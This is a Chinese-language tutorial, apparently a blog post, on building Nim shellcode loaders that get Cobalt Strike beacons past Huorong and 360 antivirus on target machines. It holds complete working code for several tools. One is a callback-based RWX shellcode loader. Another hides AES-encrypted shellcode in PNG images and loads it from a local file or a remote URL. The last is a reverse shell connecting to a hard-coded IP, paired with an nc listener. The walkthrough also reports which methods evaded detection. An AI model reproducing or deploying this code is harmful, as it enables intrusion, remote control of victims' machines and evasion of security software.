1.下载Nim语言&配置bin目录环境变量
链接:https://nim-lang.org/install_windows.html
配置环境变量
2.下载mingw
链接:https://nim-lang.org/download/mingw64.7z
配置bin目录环境变量
3.下载git,配置bin目录环境变量
链接:https://git-scm.com/download/win
4.下载winim,在有winim.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install
链接:https://github.com/khchen/winim
5.下载nimcrypto,在有nimcrypto.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install
链接:https://github.com/cheatfate/nimcrypto
6.下载NimShellCodeLoader
链接:https://github.com/aeverj/NimShellCodeLoader
1.使用cs生成shellcode
2.在NimShellCodeLoader根目录中启动codeLoader.exe程序,将生成的shellcode文件拖入程序中。
点击Generate,成功在bin目录生成exe程序
3.执行exe程序,cs成功上线
4.将exe程序上传到目标目录中,直接被火绒逮住了。
火贼:泥直…………………接给涡坐下!!!
又尝试了NimShellCodeLoader项目的其他免杀方法,全部被杀,说明该项目以被杀软记录特征了。
介绍:项目包含各种执行shellcode的方法
链接:https://github.com/byt3bl33d3r/OffensiveNim
1.根据项目帮助文档确定自己要使用的加载方式,在项目中找到对应的文件
2.启动visual studio code工具,安装nim插件。
新建一个fiber.nim文件,将免杀项目中的加载代码复制进来
3.根据加载器中shellcode的类型,使用cs生成对应语言的shellcode。
或者使用加载器中注释的msf生成命令来生成shellcode
4.将生成的shellcode放到加载器中,注意:必须将shellcode中的byte数字填写正确。
5.右键选择运行加载器,cs成功上线。
(踩坑:.nim文件不能命名为数字和不能有"-",不然报错无法执行。不要取花里胡哨的名字就行)
6.我使用的是64位nim,所以也要使用64位shellcode。实战上传到目标的代码越少越好,因此删除32位的shellcode相关代码。再次执行生成exe文件。
7.上传目标系统,火绒:泥直…………………….接给我坐下!!!
1.使用项目中内联汇编的方式执行shellcode,cs成功上线
2.将exe程序上传目标系统,火绒:泥直…………………….接给我坐下!!!
虽然对火绒没用,但是对360是有用的。而且这只是其中两种方法,项目还有将近50种方法。
1.使用nim语言写一个分离无文件的shellcode加载器
代码:argv.nim
import winim/lean
import osproc
import stew/byteutils
import os
import strutils
proc shellcodeCallback(shellcode: openarray[byte]): void =
let tProcess = GetCurrentProcessId()
echo "Powered by StudyCat"
echo "[*] Target Process: ", tProcess
echo " \\-- bytes written: ", shellcode.len
echo "[+] Injected"
# Allocate memory
let rPtr = VirtualAlloc(
nil,
cast[SIZE_T](shellcode.len),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
# Copy Shellcode to the allocated memory section
copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
# Callback execution
EnumSystemGeoID(
16,
0,
cast[GEO_ENUMPROC](rPtr)
)
proc main() =
if fileExists(paramStr(1)):
var
filename = paramStr(1)
file: File
file = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
shellcodeCallback(shellcode)
file.close()
else:
var hexstr: string = paramStr(1)
var shellcode = newSeq[byte](len(hexstr) div 2)
hexToByteArray(hexstr, shellcode)
shellcodeCallback(shellcode)
when defined(windows):
if 2 > 1:
if paramCount() > 0 :
main()
else:
let pathSplit = splitPath(paramStr(0))
echo "Usage: ", pathSplit.tail, " fce88900000...648b52308b"
echo "Usage: ", pathSplit.tail, " beacon.bin"
2.使用cs生成一个raw格式的shellcode
3.下载nim-stew,解压后复制stew目录到当前运行目录下即可(因为使用nimble install无法安装成功)
链接:https://github.com/status-im/nim-stew
4.执行代码,生成exe程序。
执行命令:./argv.exe 拖入生成的raw格式的shellcode文件
cs成功上线
5.将shellcode文件和exe加载器上传到目标系统,成功绕过火绒检测。
1.下载nimPNG,在有nimPNG.nimble文件的文件夹(一般在根目录)启动命令行,执行:nimble install
链接:https://github.com/jangko/nimPNG
2.使用如下图片隐写代码执行生成exe程序
代码:lsp.nim
import nimPNG
import nimcrypto
import nimcrypto/sysrand
import strutils
import stew/byteutils except toHex
import os
type
Image* = ref object
## Main image object that holds the bitmap data.
filePath*: string
width*, height*: int
data*: seq[uint8]
proc loadImageB*(imgFile: string): Image =
var mypng = Image()
let png = loadPNG32(imgFile)
mypng.width = png.width
mypng.height = png.height
mypng.data = cast[seq[uint8]](png.data)
return mypng
proc loadImage*(rawData: string): Image =
var mypng = Image()
#let png = loadPNG32(imgFile)
let png = decodePNG32(rawData)
mypng.width = png.width
mypng.height = png.height
mypng.data = cast[seq[uint8]](png.data)
return mypng
proc saveFile*(image: Image, fileName: string) =
discard savePNG32(fileName, image.data, image.width, image.height)
proc encodeMessage*(image: Image, rawdata: string) =
let filesize = cast[uint64](len(rawdata))
let header = filesize.toHex(8)
var data = header & rawdata
## Hide data inside an image
echo "[*] Input image size: ", image.width, "x", image.height, " pixels."
echo "[*] Usable payload size: ", image.width * image.height, "B."
echo "[+] Encrypted payload size: ", len(data), "B."
if len(data) > image.width * image.height :
echo "[-] Cannot embed. File too large"
quit(-1)
for i in 0..data.len:
var dataByte: uint8
if i < data.len:
dataByte = uint8(data[i])
image.data[i*4+0] = (image.data[i*4+0] and 0b11111100) + (dataByte and 0b00000011) shr 0
image.data[i*4+1] = (image.data[i*4+1] and 0b11111100) + (dataByte and 0b00001100) shr 2
image.data[i*4+2] = (image.data[i*4+2] and 0b11111100) + (dataByte and 0b00110000) shr 4
image.data[i*4+3] = (image.data[i*4+3] and 0b11111100) + (dataByte and 0b11000000) shr 6
echo "[+] Embedded successfully!"
proc decodeMessage*(image: Image): string =
## Extract hidden data in the image
echo "[*] Input image size: ", image.width, "x", image.height, " pixels."
result = ""
for i in 0..<(image.data.len div 4):
var dataByte: uint8
dataByte += (image.data[i*4+0] and 0b11) shl 0
dataByte += (image.data[i*4+1] and 0b11) shl 2
dataByte += (image.data[i*4+2] and 0b11) shl 4
dataByte += (image.data[i*4+3] and 0b11) shl 6
result.add char(dataByte)
var header = result[0..7]
var filesize = fromHex[uint64](header) + 7
return result[8..filesize]
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc encryptFile*(fileName: string, envkey: string): string =
var
data: seq[byte] = toByteSeq(readFile(fileName))
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
plaintext = newSeq[byte](len(data))
enctext = newSeq[byte](len(data))
#discard randomBytes(addr iv[0], 16)
iv = [byte 39, 215, 183, 62, 212, 75, 101, 46, 85, 66, 92, 49, 164, 183, 14, 146]
copyMem(addr plaintext[0], addr data[0], len(data))
var expandedkey = sha256.digest(envkey)
copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))
ectx.init(key, iv)
ectx.encrypt(plaintext, enctext)
ectx.clear()
var res = newString(len(enctext))
copyMem(addr res[0], addr enctext[0], len(enctext))
result = res
proc decrypt*(data: string, envkey: string): seq[byte] =
var
dctx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
enctext = newSeq[byte](len(data))
dectext = newSeq[byte](len(data))
iv = [byte 39, 215, 183, 62, 212, 75, 101, 46, 85, 66, 92, 49, 164, 183, 14, 146]
enctext = toByteSeq(data)
var expandedkey = sha256.digest(envkey)
copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data))
dctx.init(key, iv)
dctx.decrypt(enctext, dectext)
dctx.clear()
#writeFile(fileName, dectext)
return dectext
proc help() =
let pathSplit = splitPath(paramStr(0))
echo "Usage:"
echo " ", pathSplit.tail, " en pngFile embedFile password"
echo " ", pathSplit.tail, "de pngFile outFile password"
echo ""
echo "Example:"
echo " Embed a file into an image."
echo " ", pathSplit.tail, " en logo.png beacon.bin 12345678"
echo " Extract hidden data in the image."
echo " ", pathSplit.tail, " de logo_out.png beacon.bin 12345678"
proc main() =
if paramCount() > 0:
var p1 = paramStr(1)
if paramCount() < 2 or p1 in ["/?","-h","--help"]:
help()
else:
var
mode = paramStr(1)
imgFile = paramStr(2)
userFile = paramStr(3)
password = paramStr(4)
if mode == "en":
var enctext = encryptFile(userFile, password)
var mypng = loadImage(readFile(imgFile))
var fileName = ""
let fileSplit = splitFile(imgFile)
fileName = joinPath(fileSplit.dir, fileSplit.name & "_out" & fileSplit.ext)
encodeMessage(mypng, enctext)
mypng.saveFile(fileName)
echo "[+] fileName: ", fileName
if mode == "de":
var mypng = loadImage(readFile(imgFile))
var enctext = decodeMessage(mypng)
var dectext = decrypt(enctext, password)
writeFile(userFile, dectext)
echo "[+] Written extracted data to ", userFile
else:
help()
when isMainModule:
main()
3.运行生成的exe程序,将shellcode写入图片中
执行:./lsp.exe en 图片.png shellcode文件 密码
成功生成带有shellcode的图片
4.再次执行:./lsp.exe de 生成的图片.png shellcode文件 密码
看看能否还原:能还原说明生成的图片没问题
5.重新将shellcode写入图片,执行加载器代码,生成exe执行程序
执行前提:将shellcodeCallback.nim文件和letsgo.nim放到同一目录
shellcodeCallback.nim下载:https://github.com/5598ca98-f0c8-4594-befe-330b23c2b7c4
加载器代码:letsgo.nim
import shellcodeCallback
import lsb
import random
import os
import httpclient
import strutils
proc help() =
let pathSplit = splitPath(paramStr(0))
echo "Usage:"
echo pathSplit.tail, " filename/url password"
echo pathSplit.tail, " https://www.test.com/logo.png 12345678"
echo pathSplit.tail, " logo.png 12345678"
proc main(imgFile,password: string) =
randomize()
var
shellcode: seq[byte]
mypng: Image
enctext: string
content: string
try:
if fileExists(imgFile):
mypng = loadImage(readFile(imgFile))
enctext = decodeMessage(mypng)
shellcode = decrypt(enctext, password)
else:
var client = newHttpClient()
content = getContent(client, imgFile)
mypng = loadImage(content)
enctext = decodeMessage(mypng)
shellcode = decrypt(enctext, password)
except:
echo getCurrentException().msg
quit()
case rand(1..17)
of 1:
doEnumSystemGeoID(shellcode)
of 2:
doCertEnumSystemStore(shellcode)
of 3:
doCertEnumSystemStoreLocation(shellcode)
of 4:
doCopy2(shellcode)
of 5:
doCopyFileExW(shellcode)
of 6:
doEnumChildWindows(shellcode)
of 7:
doEnumDesktopWindows(shellcode)
of 8:
doEnumPageFilesW(shellcode)
of 9:
doImageGetDigestStream(shellcode)
of 10:
doEnumDateFormatsA(shellcode)
of 11:
doEnumSystemCodePagesA(shellcode)
of 12:
doEnumSystemLanguageGroupsA(shellcode)
of 13:
doEnumSystemLocalesA(shellcode)
of 14:
doEnumThreadWindows(shellcode)
of 15:
doEnumWindows(shellcode)
of 16:
doEnumUILanguagesA(shellcode)
of 17:
doSymEnumProcesses(shellcode)
else:
echo "unknown command"
when isMainModule:
when defined(windows):
if paramCount() > 0:
var p1 = paramStr(1)
if paramCount() < 2 or p1 in ["/?","-h","--help"]:
help()
else:
if fileExists(p1.toLowerAscii()) or p1.toLowerAscii().startsWith("http://") or p1.toLowerAscii().startsWith("https://"):
main(paramStr(1), paramStr(2))
else:
help()
else:
help()
6.运行exe程序,尝试cs上线
执行:./letsgo.exe 生成的图片.png 密码
成功上线
7.还可以远程加载图片。将生成的图片放到服务器。
执行:./letsgo.exe 图片url 密码
成功上线
1.在自己服务器开启监听
命令:nc -lvp 55
2.执行如下代码生成和运行exe程序
代码:socket.nim
import net
import osproc
import os
var ip = "192.168.206.129"
var port = 55
var socket = newSocket()
var fcmd : string
while true:
try:
socket.connect(ip, Port(port))
while true:
try:
socket.send("")
var c = socket.recvLine()
if system.hostOS == "windows":
fcmd = "cmd /C" & c
else:
fcmd = "/bin/sh -c" & c
var (cr, _) = execCmdEx(fcmd)
socket.send(cr)
except:
socket.close()
system.quit()
except:
echo ""
sleep(5000)
continue
执行成功,成功获取shell